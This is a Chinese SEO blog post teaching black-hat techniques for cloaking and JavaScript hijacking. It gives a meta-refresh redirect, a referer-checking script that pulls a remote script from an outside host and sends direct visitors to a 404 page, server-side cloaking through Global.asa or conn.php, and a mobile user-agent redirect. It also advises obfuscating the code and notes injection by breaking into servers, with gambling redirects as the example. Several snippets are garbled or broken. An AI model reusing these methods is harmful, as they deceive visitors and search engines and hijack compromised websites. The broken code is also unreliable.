七宝SEO七宝SEO七宝SEO

揭秘黑帽SEO如何使用JS跳转代码降低K站风险

kp

  揭秘黑帽SEO如何使用JS跳转代码降低K站风险

  通过JS文件让网页跳转,相信SEO站长们都不陌生,网上这类JS跳转代码有很多,我也用过不少,很多这类代码使用不太称心如意。这里德州SEO分享一个可靠的跳转代码,移动页面和PC页面分开跳转。网页跳转这是黑帽SEO站长使用较多的一种方法,黑帽站长在做搜索引擎营销时会将有排名的网页插入JS跳转代码,让网页不知不觉中跳到另一个页面。绝大多数的网民都是毫无察觉的,根本不知道自己打开的网页并不是搜索引擎抓取的页面。

  由于目前搜索引擎对于js代码还没有办法完全识别,因此也就出现了利用js代码跳转的黑帽手法。现在网上有关js跳转代码比比皆是,但是作为黑帽的seo手法之一,如何做到有效降低跳转的网站被K风险,这才是我们需要研究的一个方向。下面简单分享一下有关js劫持的一些代码,我了解到的只是皮毛,有不足之处欢迎各位同仁给予指导。

  其实要想分辨这类网站是否跳转,我们可以直接查看百度快照和你所看到的页面是否相同即可,还可以看源代码。网页PC端和移动端分开跳转也是为了不同的需求,有些网页移动端展示效果更好,而有些页面PC端展示体验更佳,所以网页可以插入两个JS跳转代码,这里分别讲述一下PC端框架代码和移动端跳转代码。

  js劫持主要有“服务器劫持”以及“用户端劫持”两种。

  “服务器劫持”

  服务器劫持也称为全局劫持,以修改网站动态语言文本,判断访问来源控制返回内容,从来达到网站劫持的目的。服务端劫持的判断方法:可以通过观察网站后端代码,或者通过改变ip,包头等方式,观察放回源码是否不同。也就是改变了每次访问网页从服务端获取到的网页代码。

  asp/aspx/php劫持

  Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本, 然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问,则返回正常页面。

用js跳转代码降低K站风险

  “用户端劫持”

  客户端劫持的手法也很多,但主要就是2种:Header劫持、js劫持。用户端劫持的判断方法:只需观察浏览器呈现的网页前端代码,查看是否引用了不当的js,或者其它敏感内容。每次访问网页从服务端获取到的网页代码都是相同的,只是控制了网页代码在浏览器中呈现的效果(比如是否进行跳转等)。

  1,header劫持

  主要作用是:利用的就是Meta Refresh Tag(自动转向),将流量引走。

  可以在源代码中写入以下代码:

  <meta http-equiv=“refresh“ content=“10; url=http://www.xxx.com“>

  2,js劫持

  js劫持的作用:通过向目标网页植入恶意js代码,控制网站跳转、隐藏页面内容、窗口劫持等。

  js植入手法:可以通过入侵服务器,直接写入源代码中;也可以写在数据库中,因为有些页面会呈现数据库内容。

  js劫持案例

  我们经常看到的菠菜跳转:通过搜索引擎搜索点击页面(执行一段js)跳转到博彩页面;直接输入网址访问网页,跳转到404页面。

  代码:today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=//.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(/.[a-z0-9/-]+){1,2}///ig; var where =document.referer; if(regexp.test(where)){ document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>'); } else { window.location.href="../../404.htm"; }

  分析:通过referer判断来路,如果referer来路为空就是跳转到404页面,如果是搜索引擎来的referer里面也会有显示,然后在写代码控制跳转。如果只是控制实现显示不同的内容,可以修改php、asp代码;如果需要劫持搜索引擎搜索框,可以写JS代码来做浏览器本地跳转。当然js功能可以无限扩展,比如可以控制一个ip一天内第一次访问正常,其余访问跳转等等。

  一、通过iframe框架实现PC端跳转页面

  无论我们做的是单页面还是整站优化,当网页关键词做到搜索引擎首页去的时候,就可以考虑做一个跳转页。为了快速排名,通常页面内容考虑是给蜘蛛看的,加大优化力度,网页的文字一定要条理清晰,图文并茂内容丰富,满足搜索引擎的需求,这样一来长尾词是比较容易做到首页了。然后再做一个用户体验更好的PC端页面,主要是引导读者的内容。接下来便是加入PC端跳转代码。

  网页PC端框架跳转代码如下:

  document.writeln(“”);

  document.writeln(“document.write(””);”);

  document.writeln(“document.write(””);”);

  document.writeln(“document.write(””);”);

  document.writeln(“”);

  建议给JS代码加密混淆,加密地址:http://www.sojson.com/jscodeconfusion.html

  二、实现移动端网页跳转的方法

  同理,一般来说网页PC端排名和移动端排名相差不是很大,当移动端排名上首页的时候,也可考虑做一个移动端体验较好的网页,诸如可以使用论坛单页面引导读者。

  网页移动端跳转代码如下:

  if(/Android|webOS|iPhone|iPod|BlackBerry|WindowsCE|WindowsPhone/i.test(navigator.userAgent)){

  if(window.location.href.indexOf(“?pc”)<0){try{window.location.href=”http://www.yinhuafeng.cn/daohang/”}catch(e){}}}

  注意引用方式:加入一个Javascript源文件(以js为扩展名),将以上代码添加在里面,文件命名为tz,在网页下插入:

  结语:很多站长都担心网站使用跳转代码会被K站,这也是情理之中,为了降低K站的风险,我们在做跳转页的时候尽量主题要和关键词一致,内容上虽然已引导为主,但页面内容页要优化一番,让读者体验更佳,降低网页的跳出率。峰峰亲测过,如此制作网页和使用跳转代码,网站是不会轻易被K,而且排名也相当稳定,大大降低K站风险。

  值得注意的是,为了降低被k风险,我们做跳转页的时候尽量使主题和关键词一致,内容则以引导性为主,页面尽量优化好一点,提高用户体验度和降低跳出率,经测试此方法网站不容易被k,排名也比较稳定,当然,大家需要根据自己的实际情况来操作。

  以上就是七宝对黑帽SEO如何使用JS跳转代码降低K站风险的介绍,希望可以帮到你!


未经允许不得转载:七宝SEO » 揭秘黑帽SEO如何使用JS跳转代码降低K站风险